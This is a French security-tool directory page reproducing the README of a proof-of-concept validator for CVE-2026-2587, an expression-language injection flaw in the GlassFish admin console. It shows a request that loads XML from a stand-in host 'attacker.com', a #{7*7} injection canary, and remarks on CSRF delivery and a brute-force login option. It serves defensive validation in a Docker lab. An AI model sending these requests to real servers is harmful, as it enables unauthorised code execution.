Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-2587-Exploit-POC — CVE-2026-2587 validateur de PoC pour Eclipse GlassFish EL Injection RCE dans le gestionnaire gadget.jsf de la console d'administration. Scanner de vulnérabilités authentifié sûr pour les tests autorisés. | Kitploit
Outils/GitHubGitHub/bhanunamikaze/cve-2026-2587-exploit-poc
Scanners de VulnérabilitésAnalyse Dynamique (Sandboxing)Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
Labs et Pratique
GitHubbhanunamikaze/cve-2026-2587-exploit-poc

CVE-2026-2587-Exploit-POC

CVE-2026-2587 validateur de PoC pour Eclipse GlassFish EL Injection RCE dans le gestionnaire gadget.jsf de la console d'administration. Scanner de vulnérabilités authentifié sûr pour les tests autorisés.

Voir le dépôtSite web
146il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-2587 Exploit PoC — Validateur RCE par injection EL dans Eclipse GlassFish

Validateur PoC sécurisé pour CVE-2026-2587, un problème critique d'injection EL / RCE affectant la manipulation des gadgets de la console d'administration d'Eclipse GlassFish via /common/gadgets/gadget.jsf.

Cet outil aide les équipes de sécurité à valider l'exposition à GlassFish CVE-2026-2587 dans des environnements autorisés en utilisant un canari EL arithmétique bénin.

Attribué par : Eclipse Foundation (CNA) · Publié : 19 mai 2026 CVSS : 9.6 Critical · AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H CWE : CWE-917 — Injection de langage d'expression Versions affectées : Inconnues dans l'avis public au 21 mai 2026 Versions corrigées : Inconnues dans l'avis public au 21 mai 2026 Règle du scanner : la version est uniquement un contexte de routage/rapport ; le verdict nécessite une preuve.


Table des matières

  • Résumé de la vulnérabilité
  • Comment ça fonctionne
  • Prérequis d'authentification
  • Installation
  • Environnement de laboratoire (Docker)
  • Génération d'un XML de sonde
  • Utilisation — Cible unique
    • Localhost / Docker
    • Identifiants
    • Connexion par force brute
    • Distant via Cloudflare Tunnel
    • XML statique pré-hébergé
    • Distant via ngrok (dernier recours)
    • Vérification non authentifiée uniquement
  • Utilisation — Cibles multiples
    • Format du fichier de cibles
    • Analyse parallèle
  • Formats de sortie
    • Console
    • CSV
    • JSON
    • Combinaison des sorties
  • Options avancées
    • Découverte du point de terminaison et de la version
    • Valeurs de canari personnalisées
    • En-têtes personnalisées
  • Cas de test
  • Interprétation des résultats
  • Vérification manuelle
  • Correction
  • Références
  • Avertissement

Résumé de la vulnérabilité

Une vulnérabilité critique d'exécution de code à distance existe dans le gestionnaire de gadgets de la console d'administration de GlassFish. L'application traite les fichiers .xml récupérés depuis une URL fournie via le paramètre de requête gadget= et évalue les valeurs fournies par l'utilisateur dans les attributs <ModulePrefs> via le moteur de langage d'expression Java (EL) sans nettoyage ni échappement.``` GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml

Si le XML contient `#{7*7}` dans un attribut `<ModulePrefs title="">`, GlassFish l’évalue côté serveur et renvoie `49` — confirmant l’exécution EL. Une chaîne RCE complète s’ensuit via l’accès d’EL à l’environnement Java.

Les avis de sécurité publics actuels ne publient pas de périmètre de versions affectées ou corrigées.
Ce validateur est donc basé sur la preuve en premier lieu : il identifie GlassFish et
rapporte les métadonnées de version, mais il ne classe pas une cible comme vulnérable à partir de la seule chaîne de version.

---

## Comment ça fonctionne

![Flux de validation sécurisé pour CVE-2026-2587](https://assets.kitploit.com/production/public/readmes/15612/d24fad85e9cfd24152f916ba71622ed442636e171c4e912ad5ffd7d973f9a6ba.png)

Le chemin de validation sécurisé héberge une sonde XML bénigne, envoie une requête authentifiée à la console d’administration vers `gadget.jsf`, laisse GlassFish récupérer ce XML depuis l’URL de rappel, et vérifie si le canari `<ModulePrefs title="">` s’évalue de `#{7*7}` en `49`.

**Point d’injection confirmé vs. non :**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" />              <!-- returns 49 -->
<ModulePrefs description="#{7*7}" />        <!-- returns 49 -->

<!-- ❌ EL NOT evaluated -->
<Content type="html">
  <![CDATA[ #{7*7} ]]>                      <!-- returns #{7*7} literally -->
</Content>

Exigences d'authentification

ScénarioAuthentification requise ?
Accès direct à gadget.jsfOui — authentification FORM, page de connexion 200
Attaque CSRF réelleNon — exploite la session active de l'administrateur
Ce validateurOui — --cookie ou --username/--password
Vérification d'exposition non authentifiéeNon — le script teste cela automatiquement

Le vecteur CVSS PR:N / UI:R signifie :

  • PR:N — l'attaquant n'a besoin d'aucun identifiant
  • UI:R — un administrateur connecté doit interagir (livraison CSRF)

Pour la validation en laboratoire, ignorez complètement la CSRF — utilisez directement votre propre session administrateur.


Configuration

Prérequis : Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests

optional for coloured terminal output:

pip install colorama

**Contenu du dépôt :**```
CVE-2026-2587-Exploit-POC/
├── assets/
│   └── cve-2026-2587-validation-flow.png  ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py   ← main script
├── probe.xml                   ← ready-to-host static probe XML
├── targets.txt.example         ← multi-target file template
└── README.md

Environnement de laboratoire (Docker)

Avertissement : GHSA liste toujours les versions affectées et corrigées comme inconnues. omnifish/glassfish:7.0.15 est un bon candidat pour le laboratoire — pas une version garantie vulnérable. La primitive de validation reste le canari arithmétique : si #{7*7} évalue à 49, EL est actif.

Option A — docker compose (recommandé)```bash

from the repo root

docker compose -f docker-compose.lab.yml up

Démarre GlassFish 7.0.15 avec les ports liés à `127.0.0.1` uniquement et `host.docker.internal` pré-câblé pour que le conteneur puisse atteindre votre serveur XML local.

### Option B — bare docker run```bash
docker run --rm \
  --name gf-cve-2026-2587-lab \
  -p 127.0.0.1:8080:8080 \
  -p 127.0.0.1:4848:4848 \
  --add-host=host.docker.internal:host-gateway \
  omnifish/glassfish:7.0.15

Console d'administration : https://localhost:4848 · Identifiants : admin / admin (Certificat auto-signé — avertissement du navigateur attendu.)


Servir la sonde XML bénigne

Dans un deuxième terminal :```bash

The repo ships with probe.xml — serve it directly:

python3 -m http.server 8000 --bind 0.0.0.0

Vérifier l'accessibilité depuis la perspective du conteneur :```bash
docker exec gf-cve-2026-2587-lab \
  curl -s http://host.docker.internal:8000/probe.xml | head -5

Déclenchement manuel

Télécharger l’outil